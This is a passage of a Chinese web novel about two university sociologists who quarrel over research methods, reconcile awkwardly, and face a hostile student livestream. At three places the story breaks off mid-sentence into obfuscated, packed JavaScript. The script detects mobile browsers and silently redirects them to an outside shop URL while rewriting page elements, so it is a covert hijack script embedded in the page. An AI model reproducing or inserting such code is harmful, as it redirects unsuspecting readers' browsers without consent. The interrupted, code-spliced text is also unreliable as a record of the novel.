江无远:“什么叫客观?把大学生的痛苦抽象成你论文里的一个表格,帮你在考核里加一点五分,这就是你的客观?你是人文社科教授,社会学失去了对人的体谅,和数字游戏有什么区别?” 贺鸣云:“所以你的学术追求,就是迎合大众,输出煽情的人文故事?那和你平时做视频号吸引流量,又有什么区别?你是不是忘了,你的主业是学者,不是网红。” 方溯倒吸一口凉气。 这一声动静让贺鸣云如梦方醒,他张了张嘴,好像才意识到自己刚刚说的话过火了。 江无远看着他,她看起来有些惊讶,而更多的,是失望和受伤。 贺鸣云艰难地咽了口口水,说:“我……我不是那个意思。” 他试图组织语言,却词不达意。 办公室里安静得可怕。 江无远没有再反驳,也没有再看贺鸣云。她默默合上笔记本,站起身。 “好的,贺教授,我明白了。我跟你,还是太不一样了。” 她转身离开,门被轻轻带上。 17. 轻如鸿毛 江无远很有素质,既没有破门而出,也没有摔门而去。 她非常安静、非常优雅地走到电梯,徐徐下楼。 在某个时空,也许她会在楼下偷偷抹眼泪,然后被在窗边隐忍目送的贺鸣云看见,再然后,他再也无法按捺心中澎湃的情感,终于冲下楼,把她紧紧抱在怀中(此处应有脸部特写,两双含泪的美眸)—— 抱歉串戏了,这里是晋江,不是红果。 实际上,江无远径直走进了学校里的肯德基。 ——今天是疯狂星期四来着。 心里受了委屈,不能让嘴和胃也受委屈。江无远决定轻奢一把,点了八块吮指原味鸡、二十块黄金鸡块。 刚取到餐,方溯打来微信电话。 “老师,我们这边结束了。你在哪儿啊?想吃什么,我给你带点?正好我要去万达广场买东西。” 方溯肯定是担心她气得饭都吃不下了。 孩子就是孩子,不知道打工人的心理承受能力有多强。想当年她被导师骂得狗血淋头,被同事阴阳得面目全非,被校领导使唤得疲于奔命,被网友喷得两眼一黑…… 那还不是,都过去了嘛。 也太小看老师我的钢铁之躯、铜豌豆之心了。 江无远把鸡块咽下去,说:“小溯,我没事,不用给我带吃的,多大点事儿啊。倒是你没事吧?贺鸣云那个死东西没有为难你吧?” “没有,完全没有。” 方溯想说,其实有事的好像是贺教授。 江无远离开后,贺教授都懵了,半天没说出句话来,那表情简直可以说是如丧考妣。 方溯问他:“贺教授,还要交代我什么吗?” 贺教授这才缓过神来,表现得像个失独老人,颤颤巍巍、魂不守舍地跟她交代了几句课题工作,就放她走了,看着还挺可怜的。 方溯还想说,嗑归嗑,其实她一点都并不意外两位老师会争论。 江老师和贺教授的研究风格截然相反,火星撞冰山,吵是必然要吵的。 她感到意外的是,这俩人居然能吵这么久。 据方溯对江无远的了解,江老师抛头露面久了,还经历过网暴的洗礼,已经深谙公关的艺术,非常稳重,也比较能装,遇到争论,往往选择优雅闭麦,片屎不沾身。 而据方溯对贺鸣云的耳闻和观察,贺教授性子偏冷,不喜争论,也不屑于争论。遇到不合他心意的人或事,他拔腿就走,懒得费劲,反正他全靠自己,不用求人。 然而刚才,两人如同做了夫妻一般,吵得旁若无人,吵得有来有回,吵得人尽皆知。 是的,人尽皆知。 方溯当时透过虚掩的门缝看到了,一个秃顶的教授路过,听到有人在吵架,又退回来,津津有味地听了好一会儿。 算了,每个人有每个人的桃花,别问是劫是缘。方溯什么也没说,智者不入他人的爱河。 江无远对方溯的内心剧场一无所知,还在电话里宽慰她:“那就行,我猜他也不会迁怒的。你看他对小钟都没怎么样,你比小钟乖巧多了。” 方溯从肖飞飞那里听说过钟若晚,虽然这通电话的初心是安慰江老师,但她此时也忍不住要帮贺教授说句公道话:“老师,其实我觉得贺教授挺惨的,他合作的人没一个对他客气的。你也要说他,博士生也要说他,本科生倒是不说他,但是上他课都在睡觉……” 江无远沉默了一下。“小溯,你老实跟我讲,你是不是也觉得他说的是对的?” “那倒没有,横向课题没有统一的标准,”方溯实话实说,“如果是比较严肃、传统的横向课题,贺教授的说法也许是对的,但这个课题本身就比较新潮,注重和个体的互动、个体的反馈,我觉得您的研究方式是必要的。” “就是说嘛,这个老古董。” 方溯犹豫了一下,又说:“老师,贺教授说话是不大好听,但他很负责,如果贺教授是我的导师,我会很高兴。” 江无远知道,方溯的导师徐宇出了名的摆烂,对带的研究生不理不睬,只会摆导师架子,让学生帮他做课题。 “嗯,我知道。” 方溯小心翼翼地说:“而且我觉得,能和合作伙伴争论是件好事,大家互相交流探讨嘛。为什么您会这么生气呢?” ***** 为什么她会这么生气呢? 直到吃完原味鸡、散步消完食、回到家里了,江无远都还在沉思。 她自觉应该并没有受到多大的伤害,她早就知道自己选了怎样的一条路。 在“万般皆下品,唯有论文高”的象牙塔里,她走的社会实践和教学相长之路,被认为是一条小路,甚至是一条歪路。 而与此同时,这更是一条少有人走、缺乏前辈指引,且难以收获尊重和认可的险路。付出许多,回报却寥寥。 不管做的研究多么前沿,田野调查多么深入,只要最终成果不是论文,那就约等于没有价值。 贺鸣云没有说错,在大学,论文发表为王,课题也有高下之分。课讲得好不好,社会实践做得怎么样,关不关心学生,是最不重要、最没含金量、最没有意义的。 也有前辈出于好心问她,为什么不拜拜码头,卷卷论文?何苦做这些没人在乎的事? 可尽管已经奔三,江无远还是幼稚地认为,人不是流水线上的标准化产品,人生短短数十载,应该遵从内心,做自己真正喜欢的事。在还有选择的时候,她不愿意急着向权威和标准低头。 也有同行敲打过她,象牙塔是学究的老巢,人人自矜,高高在上,就是要立精英人设,做网红是会被学者看不起的。 可江无远不觉得做网红有什么不好。 也许最开始,这是她对权威和圈子失望后,为了翻身的权宜之计。但后来,她真的喜欢上了这种传播知识、让理论落地的感觉。网友们的积极互动和支持,逐渐治愈了她读博时期的阴影,带给她成就感,和数不清的灵感。 然而,然而。 江无远毕竟身处大学的考核体系之中,她很难完全无视这套标准,也很难在听到贺鸣云的话后,心里没有一丝波澜。 江无远非常明白,贺鸣云是在就事论事。他的批评之所以激怒了她,只是因为他无意间触发了她内心深处的自我怀疑: 是否我所有的付出,我获得的所有成就,在严肃学术殿堂里,只是一个笑话? 是否随着时间的流逝,我努力打造的一切,我所谓的社会影响力,都会烟消云散? 学术成果的不可见性,前辈和同事的不认可,晋升路径的不明朗……始终悬在头顶。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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***** 江无远点开朋友圈,自虐般又一次点开收藏夹里的文章。 是几天前的一则新闻: 《喜报!我校新闻与传播学院院长王圣伯教授荣获“新闻教育良师奖”!》 杂种,伪君子,居然越混越好了。 文章写道:“近日,由学界和业界专家组成评审委员会评审,经基金理事会审议,我校新闻与传播学院院长王圣伯教授荣获‘新闻教育良师奖’。该奖项以清华大学新闻与传播学院首任院长范敬宜命名,是国内首个、也是目前唯一一个新闻教育类奖项。 “王圣伯,1967年生,中□□员,教授,博士生导师,现任新闻与传播学院院长。主要从事新闻理论、传播学理论、舆论学研究。历任□□学位委员会学科评议组成员、《新闻与传播研究》副主编等职务。中国知网收录文献近两千篇,总引超两万次。出版独著、第一署名著作、独编著四十余部……” 不明真相的群众一定觉得他是个杰出的学者、优秀的老师吧。 就算是对真相略知一二的同行,大概率也不会谴责他虚伪、自私、算计、冷漠,而只会羡慕他、佩服他,更想成为他。 他们只会谴责江无远这样的异类不学无术、不知进取。 江无远恶向胆边生,把手机扔了出去。 18. 双打搭档 ——扔到床上了。 手机刚买没多久,舍不得下狠手,青年教师挣钱不容易。 江无远倒在床上,捡起手机,给何回打视频电话。 何回是江无远的大学学妹,两人在羽毛球社团认识。何回打得特别烂,没人愿意跟她搭档。江无远看她一个人坐冷板凳可怜兮兮的,就带着她打女双。一来二去,两人竟然成了最好的朋友。 后来她读完博,到冰洋大学当老师;何回在加州伯克利读完硕士,回国做了律师。两人的友情从校园一直延续到了现在。 屏幕里的何回身处昏暗的楼梯间,眼神闪躲,音量极低,鬼鬼祟祟的。 “你干嘛呢?偷东西?” 何回配合她演戏:“小点声,等会儿人家听见来抓我了。” 江无远笑骂:“贼眉鼠眼的,到底在干嘛?” 何回做了个鬼脸:“在做尽调访谈。听创始人吹了一个半小时的牛了,爹味儿都喷我脸上了,受不了了,溜出来躲一会儿。” 江无远记得何回当年想做诉讼律师,但没找到合适的工作,退而求其次,到公司组做了非诉律师,每天都在处理并购和私募投资案件,和她最初的梦想相去甚远。 江无远叹了口气:“小回,你说,我们工作到底是为了什么?我的意思是,除了谋生之外。” 她一开口,何回就知道她要放什么屁。“又存在主义危机了?怎么了?说来听听。” 江无远把和贺鸣云的争论一五一十说了。 何回的表情更诡异了。“你……该不会喜欢上他了吧?” 江无远急得从床上坐起来,尖叫:“没有!我呸!” 何回不依不饶:“那你最近每次都要跟我提他。长得帅吗?” “我说没有!我不喜欢!……但客观来说,是帅的,说他有一米八八呢。” 何回眼睛一亮:“一米八八!那个大吗?” “哪个?光天化日的,你说清楚。” “当然是胸肌,你把我想成什么坏女人了!” 江无远被她逗得咯咯直笑:“大的大的。” “那就让让他嘛,胸大无脑,他没脑子,乱说话,咱不跟他计较,一作拿给你就行。” “主要是有点伤我自尊心了,搞得我有点内耗了。在大学当老师,论文发得少是原罪嘛。贺鸣云论文发得多,就可以站在学术的至高点上批评我,气死我了。” 何回才不惯着她的文艺哲思:“别内耗了,内耗有什么用呀?你看我就不内耗,我们所也很多拿鼻孔看人的精英,那咋了?他们再精英,还不是跟我在同一个地方上班,这么牛逼咋没上天呢?你那个大胸男也是,他这么牛,不还是你同事嘛,也没见他拿到哈佛的终身教职呀,说明你俩综合实力差不多,你内耗什么呀?” 江无远听得目瞪口呆,何律师擅长诡辩、理不直气也壮,但说得竟然有几分道理! “你又不喜欢他,管他怎么想。最重要的是在场,你得先做了这个课题,才会知道自己几斤几两,才会知道是他对还是你对,才会继续进步。对不对?现在我们的目标只有一个,尽快评上副教授,你想着这个就对了,其他的都当放屁。” 江无远回忆了一下,当年何回羽毛球是真打得挺烂的。后来和她搭档久了,活生生打出了手感,居然还能偶尔燃烧小宇宙、乱拳打死老师傅。 她不禁点了点头:“你说得蛮对的。” 她俩对视了一眼,何回问:“现在是轮到我抒情了吗?” 江无远点点头:“快给我熬点心灵鸡汤。” 何回清了清嗓子:“江江,我俩就不是能穿高跟鞋那种人——” 江无远打岔:“我能,我可以穿十厘米的细高跟。” “我在打比方,打比方!一种修辞!我正要说出很有哲理的话呢。” “噢,请何律师继续,小女子洗耳恭听。” 何回接着说:“不管是你的圈子还是我的圈子,都有一堆装货、一堆规矩。有些人可以削足适履,但你和我,我们就不是能穿高跟鞋那种人。我知道你的,你不可能成为王老登那种人,你不会为了卷职称那么不要脸,不会为了成果去做恶心的事。” 江无远眼睛发酸:“王老登最近都拿到‘新闻教育良师奖’了,太可恶了,他算什么良师?凭什么?” 何回的语气还是很坚定:“江江,他们为了被所谓的权威认可,心甘情愿穿高跟鞋,就让他们穿去吧。你和他们是不一样的,你忘了你送我的新年礼物上写的什么了?” 去年过年,江无远送了何回一套动物园周边日历,第一页画着一只奔跑的小豹子,上面写着: “人生是旷野。” “没错,你就是要穿上运动鞋,踩烂他们的偏见。”何回想了想,又说,“等心情好点了,你再和姓贺的聊聊呗,我听你之前说的,觉得他人还可以,应该还有救,可以调教下。实在谈不拢,也别吃亏,起码让他送两篇二作给你,再给你摸两下……” 江无远破涕为笑:“烦不烦啊你。 何回又露出一个猥琐的笑容:“当然了,如果你其实有点儿喜欢他,那话又两说了,那我建议你——” “喂?喂?信号不好听不清,喂?拜拜!” ***** 江无远挂断电话,像喝了杯热姜汁可乐,打通了任督二脉,勇气和活力自涌泉穴向上泊泊涌出。 她差点忘了,羽毛球双打里,两个人的技术和球风不可能完全一样,想法也不可能总是一致。江无远打了十多年双打,比某些习惯单打独斗的人懂双打配合的艺术多了。 贺鸣云批评她什么来着?个案太少,没有统计显著性是吧? 呵呵,她可有两百多万粉丝,还有一众圈内网红好友。 她有独属自己的、一望无际的田野,可以分析热搜话题,可以做网络问卷调查,还可以用短视频呈现个案故事。 让傲慢无礼的贺鸣云看看,咱网红有力量! 江无远登入冰洋大学BBS,准备先在学校论坛发个招募受访者的帖子。 她看到一个奇怪的帖子: 【求助】口出狂言惹恼了朋友怎么办?【热】 定睛一看,楼主ID:HMY0320。 江无远无语至极,什么年代了,ID还是姓名缩写加生日,怎么还有这种裸奔上网的老古董啊?他不是才三十出头吗? 帖子正文: “大家好,今天我和朋友因为合作项目上的分歧吵架了。她提出了她想用的研究方法,我认为她的研究方法不够严谨、高效,于是对此研究方法进行了抨击。抨击了一会儿后,朋友直接走了,到现在也还没联系过我。我猜她可能生气了,现在我应该怎么做?” 江无远白眼一翻,谁跟你是朋友了?我们纯利益交换好吗! 但手上还是忍不住,开始逐一观看各条回复。 1L 楼主你完了,你女朋友要没喽~ 2L 人家说的是“朋友”。 3LHMY0320 不是女朋友,是朋友。 4L 敢问楼主性别? 5LHMY0320 男。 6L 你完了,你女朋友要没喽~~ 7L 你完了,你女朋友要没喽~~ 8L 你完了,你女朋友要没喽~~ …… 17L 不是,你惹人家生气了,应该你主动发消息啊,怎么还等着人家主动联系你啊? 18L 已经被拉黑了吧。 19LHMY0320 应该我主动联系吗?我担心我又说错话,惹她更生气。 20LHMY0320 怎么看有没有被拉黑? 21L 楼主你……怎么一副玩不转智能手机的样子啊?村里刚通网? 22LHMY0320 不好意思,以前确实不怎么玩智能手机。 23L 我靠,对不起,我说错话了! 24L 一不小心嘴到山区贫困来的男大了,半夜起来都得扇自己两巴掌的程度。 25LHMY0320 没事,我不穷,我不介意的。 26L 楼主别说了,我心疼你。 27L 楼主你可以微信给她转账,转个一毛钱试试,拉黑了的话,转账页面上就看不到对方的真实姓名了。 江无远手机震动了一下,提示贺鸣云给她转账一毛钱。 还真只给一毛钱,江无远无语,怎么不给她多转点? 28L 楼上说话别大喘气啊,楼主你不要按“确定”,试着转账就行,只要能看到对方姓名就说明没被拉黑。 29LHMY0320 谢谢,刚刚没看到楼上的建议,已经转给她了,我没被拉黑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我做课题真的很厉害,以前有很多成功成果。所以我才觉得应该纠正朋友的错误观念,一起把项目做好。这样她有经验和心得了,以后就能独立做好项目了。 65L 啊?原来你还是好心的啊? 66L 好一款东亚封建大爹。 67L 追女生的反面典型案例。 68LHMY0320 她是我朋友。没有追。 69L 嘴比金刚钻还硬,牛的。 70L 没有追,只是扶女神青云志是吧? 71L 我想他会一辈子孤单。 …… 江无远看得心惊肉跳,贺鸣云给了那么多学生挂科,可别被哪个学生开盒了。保守预测得被挂在论坛置顶,反复嘲笑三百年。 她赶紧评论了一条: “楼主,根据你的描述,我觉得你朋友其实没有很生气,只是当时气氛不好,你朋友也不想和你再争吵,所以才离开的。现在你们都冷静了,我认为你只要和你朋友好好沟通下,就可以解决这个问题了。” 她也不知为何,觉得有必要反复强调“朋友”这个身份定位,生怕有人会乱嗑,更怕当事人思想会滑坡。 至于这个“当事人”包没包括她自己,那就天知地知江无远知了。 HMY0320秒回:“谢谢。可否指教下,我应该怎样道歉?” 天啊,贺鸣云是住网上了吗?今晚不熬夜写论文啦? 江无远回他:“把你的真心话发给你朋友就行。” 整整一个半小时后,江无远收到贺鸣云的微信: “江老师,对不起,我说话太难听了。但是这个课题可以加分,很重要,衷心希望我们可以求同存异、继续合作。收到请回复。” ……她要不还是和贺鸣云绝交吧。 19. 公开处刑 江无远毕竟是成熟职场人士,不玩全网拉黑那套,还是依着之前的约定,准时到了贺鸣云的办公室。 方溯这孩子打小就贴心,早候在办公室门外等她了。 “老师,”方溯迎上来,低声问,“你们和解了吗?” 江无远大惊:“你也太高估老师的心眼儿了,我有这么善吗?怎么可能这么快和好?” “那你们这……”方溯的脸皱成一坨,“不是,那我到底判给谁啊?” 她俩在外面嘀嘀咕咕的,贺鸣云在里面坐不住了,大喊了声:“请进!” “喊什么喊啊,什么素质。” 江无远嘟嘟囔囔地进去了。 贺鸣云看着她,似乎在等她先打招呼。 那他可要等很久了。 见江无远自顾自坐下了,坐的还是离他最远的那把椅子,贺鸣云哼了一声。 哼?他哼什么哼? 江无远又好气又好笑,死装什么呢,平时装得二五八百的,晚上还不是悄悄发帖求助网友? 贺鸣云清了清嗓子,说:“我给你发消息,你没回。” 那咋了? 江无远理直气壮地回答:“是啊。” 贺鸣云被噎了下,平复了几秒才说:“回复别人的消息,是一种礼貌。” 江无远的语气毫不抱歉:“我素质比较低。” “你不是素质低,你是心眼坏。” “我心眼坏?比不上某些人心胸狭隘。” 贺鸣云惊了:“我狭隘?” “你不狭隘?你就只认同你熟悉的那套研究方法,固步自封,对新鲜事物熟视无睹。对,你连香菜都不吃!” “香菜跟这个有什么关系?而且香菜本来就很难吃,有股怪味。” “香菜没有怪味,是你对它有偏见。” 方溯忍无可忍,插嘴道:“老师,贺教授,我能说句话吗?” 两人都意识到自己的失态,闭嘴了。 贺鸣云很尴尬,说:“当然,你请说。” “课题和论文不一样,特别是这次的课题是和企业合作的,并不是学界课题,根本目的是为了业务盈利。因此我认为,你们说得都有道理,可以分头行动。贺老师负责理论的量化研究,江老师负责个案解析。” 方溯被导师折磨了一年多,跟徐宇那个阴晴不定的恶鬼比起来,江无远和贺鸣云简直就是两只萌萌的、打架只会哈气的小猫咪。吵架都是就事论事、有理有据、为了正事在吵,完全没有借题发挥、阴阳怪气、人身攻击。 在饱经风霜的方溯看来,这场面几乎可以说是温馨祥和。没等贺鸣云反对,她又说: “贺教授,时间紧张,我想跟您一起做量化分析,我们合作应该效率会比较高。” 贺鸣云板着脸没说话,江无远也是一脸嫌弃的样子。 方溯在师门里和了一年稀泥,人情世故见多了,这点小场面手拿把掐: “江老师,贺老师,你们在合作之前,就已经知道彼此风格不一样了。应该说,正是因为对方和自己不同,你们才会合作,对吧?” 无人赞同,但也无人反对。 “你们合作是为了1+1大于2,不是为了把对方改造成自己的,对吧?” 江无远和贺鸣云面面相觑。 “……对。” “……嗯。” 方溯拍拍手:“好了,那就别吵了,握个手,互相道个歉。” 江无远问方溯:“一定要握手吗?” 方溯说:“不握手,拥抱也行,贴面吻也行,随你们。” 贺鸣云闻言,伸手的速度快如闪电:“江老师,抱歉。” 江无远虚虚握了下他的手,却被他一把握住。 “江老师,我说,抱歉。” 贺鸣云一副“你不说‘没关系’咱俩就没完”的凶狠样子,手心却在默默出汗。 他在紧张什么啊? 江无远只好说:“好的,我听到了。” 贺鸣云还是紧紧握着她的手。 他是不是觉得他一放手,她就要带着方溯跑路了啊?怎么可能,她还需要考核加分呢。 江无远只好说:“贺教授,我知道了。我们就按小溯说的,分工合作,共同研究,好吗?” 贺鸣云松了一口气,他就说嘛,他算老几?粉丝两百多万的大网红,怎么会计较他的几句无心之言?更何况他都按网友教的,主动发求和微信了—— 江无远又说:“那我们就各自努力,抓紧时间,最近不用见面了吧?” 啊?这跟网友说的不一样啊? 贺鸣云彻底懵了。 ***** 社会科学学院一向标榜“以学生为本”,这几年期末,都会安排几名教授开直播,为学生讲评期末考卷。 说是讲评期末试卷,实际上就是和学生轻松互动。一学期结束,又借着匿名上网的大好机会,学生都会积极参与,在直播里调侃教授。据心理学院某位不知名教授研究,此举能有效降低挂科学生自杀率,促进师生关系大和谐。 因此这两年负责直播的,都是比较有网感和亲和力的教授,贺鸣云一次也没参加过。 噩耗连连,好几位常驻教授都去外地参加学会了,这次不得不赶鸭子上架,让贺鸣云一起直播。 雪上加霜,偏偏卡在他和江无远闹矛盾这时候,0人会教他怎么自然、淡定、有趣地上镜。 贺鸣云面如死灰,在微信聊天框里字斟句酌,敲了字又删除,反反复复: “学院安排我和李教授、张老师一起直播,给学生讲评期末试卷。” “我从来没搞过直播。” “我讨厌镜头。” “马上要开始了。” “方便的话,你能来帮帮我吗?” 贺教授写论文都没这么斟酌过,怎么写怎么不对劲,始终没能发出一条消息。 办公室的许老师招呼他:“贺教授,准备开始了,麻烦手机调到静音模式。” “好的。” 贺鸣云顺手把手机塞进了口袋,慌乱中,都没来得及锁屏。 ***** 收到贺鸣云误触的一百多个表情包时,江无远还在睡懒觉。 她迷迷糊糊点开微信,映入眼帘的是整整齐齐一长串“恁咋不早说,咱俩某以后”表情包。 谁? 贺鸣云!? 干嘛啊?他这是,气疯了?做课题失智了? 什么意思啊?用的还是从她这儿偷的表情包。 江无远莫名其妙,又有一咪咪担心,贺鸣云是不是出了什么事。 谁知道呢?嘴毒心冷,还老爱给学生挂科,平时一点德都不积的,说不定就在浴室一不小心踩到肥皂,一不小心滑倒,一不小心头磕在盥洗台上,一不小心痴呆了。 江无远想了想,给钟若晚发微信:“你们家大教授在干嘛呢?” 钟若晚秒回:“BreakingNews!世纪新闻!老登正在直播。” 又发来一张直播截图,贺鸣云坐在最边上,无精打采的,像条被抽了气的橡皮人。 江无远立刻清醒了。 ***** 贺鸣云想死。 李教授都比他有网感,直播一开始,就笑眯眯地问:“同学们,你们想让哪位教授来讲评啊?我嗓门儿大,张教授幽默,贺教授……” 他非常明显地顿了两秒,说:“贺教授……普通话标准。” 贺鸣云什么都没说,张智学笑着接茬:“前辈折煞我也,这种事当然是我来代劳,您总结指导就行。” 评论刷过一堆“支持”“男神”“我将沐浴焚香洗耳恭听”“男神人帅心善”。 张智学上课不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093569|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管纪律,期末打分又最慷慨,还时不时会有给学生订点披萨之类的洋派表现,自然成了学生公认的社会学男神。 他们没问贺鸣云的意见,不过贺鸣云也习惯了被同事无视,乐得清闲。 在这当口,他还有闲心去想,江老师现在在做什么呢?要是知道他毫无准备就开始了人生第一场直播,她肯定会大吃一惊。 张智学在C位讲评试卷,和学生开玩笑:“这道题选C。为什么选C呢?因为遇到不会的题首先选C嘛。” 评论区气氛热烈,贺鸣云冷眼旁观。他不理解有什么好直播的,更不理解学生怎么会积极响应毫无干货的张智学。 “贺教授?贺教授?” 贺鸣云回过神来,疑惑地看着张智学。 张智学还是带着他标志性的八颗牙鲨鱼笑:“贺教授,你这可不对啊,你上课对学生要求那么高,怎么给学生讲题,你自己走神了?” 贺鸣云知道他在故意刁难,但也觉得他说得有理,点点头:“抱歉。现在似乎不需要我说什么。” 他说的是大实话,可“期末杀手”的口碑摆在这儿,直播全程冷脸、心不在焉,加上爱给挂科的前科,话一出口,就被学生群嘲。 张智学适时插嘴:“接下来就是最后两道论述题了,说实话我也不知道该怎么讲才好,这两道题都是贺教授出的,第一题像在故意找茬,第二题又太前沿,难度太高了。贺教授,同学们才十几岁,很难达到你的高要求啊。” 评论纷纷哀嚎:“恶魔啊!”“上课又没讲过,神经吧。”“贺教授是不是和学生有仇啊?”“期末重点也不划,没见过这样的。”“倒八辈子血霉选到贺鸣云的课。”“他自己上课也没讲过啊!” 张智学继续落井下石:“贺教授只是对大家要求高,大家要继续努力哦。贺教授,既然是你出的题,要不就你来讲讲?我也很好奇这两道题该怎么答呢。” 他知道贺鸣云不善言辞、讲课无聊,讲解这两道论述题效果肯定不会好;退一步说,就算贺鸣云能讲清楚,题出得这么难、这么枯燥,学生也不会买账。 李教授之前做课题时,被贺鸣云当众批评过数据不严谨,一个快退休的老教授,被个嫩头青搞得下不来台;再加上被贺鸣云挡了当副院长的路,李教授也绝不会出面帮他打圆场的。 张智学笑着看贺鸣云,还帮他打开了领夹麦克风。 贺鸣云没怎么在意张智学的小动作,他在看学生发的评论。 他的课反响平平,但碍于他是教授,从来没有学生会当面说他的不是。 他一直以为学生不喜欢他,是因为他要求严格、不够亲和,没想到在学生眼里,他是这样的。 他一直觉得只要自己认真备课,教给学生应该学会的知识,督促他们认真学习,哪怕他们不喜欢他,他也问心无愧。学生的测评,不会影响他内心的平静。 可是为什么现在,他会这么不自在,这么……不舒服? 张智学一副很惊讶的样子:“贺教授,怎么不说话?你可别说你作为出题人,都答不出来啊?” 一条评论获得几十个点赞: “某些教授只关心发论文评职称,不会关心学生的死活的啦。人家是学者,不是老师。” 啊,贺鸣云突然明白了,原来如此。 原来,他也会感到受伤。 他一直活在自己的小世界里,靠各种成就垒起自我保护的高墙,有意屏蔽了对他不友善的声音。 原来学生厌恶的语气、同事漠然的态度,也会让他不舒服。 原来那天他批评江老师的研究方法不严谨、不科学,说她的研究比起学者更像网红时,她心里,就是这样的感受。 原来这就是那天回帖的网友的意思,他有意躲开了同事、远离了学生,又无意间伤害了朋友。 看来他的确,会一辈子孤单。 20. 直播驰援 突然,评论区弹出来一句:贺教授,第一道论述题,如果我已经按学术规范做好了匿名化,是不是就不用管受访者了?哪怕我坚持发表,也没什么后果? 贺鸣云愣了下。 他认得这个ID——manhater(恨男者)——问问题的,竟是他的孽徒,钟若晚。 可钟若晚从来不会叫他“贺教授”,她都叫“喂”或者“导儿”。 不给他反应的机会,“钟若晚”manhater又评论道: “贺教授,怎么不说话?你该不会是为了给张教授留面子,才不给我们讲解论述题的吧?” 什么意思? 贺鸣云茫然地看着这条评论,还没来得及开口,旁边的张智学先急了:“这位同学,怎么扯上我了?” manhater犀利指出:“毕竟刚刚张教授说了一堆,也没解释该怎么答这两道题,难道不是你不知道怎么讲?” 张智学继续踩公关雷,辩解道:“这位同学,这题是贺教授出的,应该命题人来讲解啊。” manhater很快回应: “可是你不知道参考答案吗?如果没有评分标准,那张教授改卷子的时候,是怎么给分的?” “之前的选择、名词解释、案例分析这些题,张教授讲解得也很水,我没听明白。” 评论区的风向稍有变化,学生们似乎这才意识到,刚才张智学虽然口若悬河、插科打诨,但确实没怎么好好讲评试卷。 张智学一时语塞。 manhater不依不饶:“我们学生都知道,张教授期末打分很慷慨,但如果您没有评分标准,只是随便打高分,那对我们其他班的学生不公平,这算是教学事故了吧?” 触及学生的个人利益,评论区立刻乱成一锅粥: “呵呵,张就是乱给分啊,我室友平时上课都不去,平时分比我还高。” “对啊,他们班平均分85点几,搞笑,一门课拉0.1的绩点。” “总比随便挂学生的老师好咯?” “倒反天罡,开了眼了,不谴责给挂科的老师,反而批评给高分的老师?” “张智学的学生?既得利益者当然这么说咯。” “给点分就又吻上去了?” “大哥,能不能有点尊严,高分是自己考出来的,不是求老师求来的。” “br0遇到个手松的老师,还真以为是自己水平高了。” “人家扣分有依据,你得高分有依据吗?” 江无远看到屏幕里,张智学突然慌张起来。 他也就欺负欺负贺鸣云,糊弄糊弄不谙世事的学生,哪里敌得过她这种专业人士?在新闻与传播专业里,刚刚这手操作属于网络情绪动员,也算是一种议程设置。 贺鸣云傻兮兮的,平时在她面前小嘴叭叭的,直播里被张智学明里暗里拉踩成这样了还不吭声。怎么样?关键时候还得网红出马救你吧?江无远心情大好,哼起了《We’rethechampions》。 评论区还在吵架: “张智学每门课打分都特别高,平时分都打满的。” “对啊,学得不好的,凭什么还拿奖学金?” “等等,关键是有没有参考答案啊?” “肯定有啊,期末不是都一起改卷子的。” “以后就应该交换改卷子,不能批自己班的试卷。” “贺教授出的题,问贺教授啊。” 贺鸣云没料到直播会发展成这样,恍惚中又觉得,这调动学生激情的招数、这逻辑跳脱的发言,看着特别眼熟。 群情激愤,现在就是造神的时候了。 江无远掰了掰手关节,噼里啪啦打字。 manhater:“贺教授,您能先讲解下这两道题吗?您应该有写一个参考答案给阅卷老师的吧?” 贺鸣云冷静下来:“对,有的。我先讲第一道题。” 四、论述题(每题15分) (一)你完成了一个关于“贫困大学生提前消费及借贷行为”的研究,研究成果获得一致好评。这时,一位关键受访者在看到你的论文后联系到你,受访者表示,虽然你的研究内容没有造假,对他的个人信息进行了匿名化处理,而且他本人也认可你的研究结论,但现在有部分亲友发现了他就是你论文里的那个人,这让他感到非常羞耻。他后悔接受了你的访谈,希望你能撤回论文。 请结合社会学研究伦理,论述: 1、在本案例中,你作为研究者,主要面临哪些伦理责任之间的冲突? 2、你会如何回应受访者?会采取哪些行动? 3、假如有重来一次的机会,从研究设计阶段开始,可以采取哪些措施,尽量避免此类伦理困境? 贺鸣云先解释道:“我出题时考虑的是学术论理问题,这是同学们以后做课题、写论文很可能会遇到的情况。但我没意识到你们还很年轻,还没做过什么课题,也没发表过论文,导致这道题在你们看来,是出题人没事找事、故意找茬。” “在真实的社会研究中,即使你充分说明了接受访谈后可能产生的后果,即使受访者签署了知情同意书,即使你对受访者做了充分的匿名化处理保护,伦理问题依然可能出现。” “这道题反应了社会学研究中常见的矛盾:研究成果发表与个人情感保护之间的矛盾,研究者求真的本能,和受访者反复的人性之间的矛盾。” “教材里没有这个案例,我没有讲过这个案例,具体做法也因人、因研究而异,我只能告诉你们我的答案:首先,立即停止对这项研究的宣传,向受访者道歉。然后,和受访者商量补救措施,也许修改报告,也许需要撤稿。最后还要消除不良影响,你可能甚至需要帮助受访者平息舆论。” 他这就讲完了。 江无远恨铁不成钢,赶紧追加评论。 manhater:“贺教授,其他不一样的答案能拿高分吗?” 